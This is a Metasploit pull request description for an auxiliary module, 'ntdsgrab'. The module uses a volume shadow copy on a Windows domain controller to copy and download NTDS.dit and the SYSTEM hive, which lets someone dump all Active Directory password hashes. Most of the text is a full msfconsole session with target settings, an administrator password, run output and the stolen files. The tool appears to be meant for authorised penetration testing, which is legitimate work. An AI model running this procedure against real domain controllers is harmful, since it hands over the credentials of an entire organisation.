rapid7/metasploit-framework — pull request #1023 by R3dy (2012-11-06 23:32:51+00:00)
Title: Added new auxiliary module ntdsgrab.rb

This module uses native windows functionality to create a volume shadow copy on a Windows Domain Controller. It then grabs NTDS.dit from the VSC and puts a copy of it in the WINDOWS\Temp directory. Then it downloads the NTDS.dit copy to the local attacking machine. It also creates a copy of the SYSTEM registry hive, stores it in WINDOWS\Temp downloads it then removes the copy.

With this module and the standalone tool from one of my other pull requests 'ntds_hashextract' you can safely dump all active directory hashes from the DC. Tested successfully on Server 2k8 64 Bit DC.

msf > use auxiliary/admin/smb/ntdsgrab
msf auxiliary(ntdsgrab) > set rhosts 10.0.10.131
rhosts => 10.0.10.131
msf auxiliary(ntdsgrab) > set smbuser Administrator
smbuser => Administrator
msf auxiliary(ntdsgrab) > set smbpass @ccuv@nt_L@bs!!_
smbpass => @ccuv@nt_L@bs!!_
msf auxiliary(ntdsgrab) > show options

Module options (auxiliary/admin/smb/ntdsgrab):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGDIR /tmp/NTDS_Grab yes This is a directory on your local attacking system used to store the ntds.dit and SYSTEM hive
RHOSTS 10.0.10.131 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@nt_L@bs!!_ no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(ntdsgrab) > run

[*] Creating Volume Shadow Copy
[+] Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy61
[*] Copying ntds.dit to Windows Temp directory
[*] Copying SYSTEM hive file to Windows Temp directory
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] Deleting ntds.dit and SYSTEM hive copies:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ntdsgrab) > exit
Royces-MacBook-Pro:metasploit-framework r3dy$ ls /tmp/NTDS_Grab/10.0.10.131/
ntds sys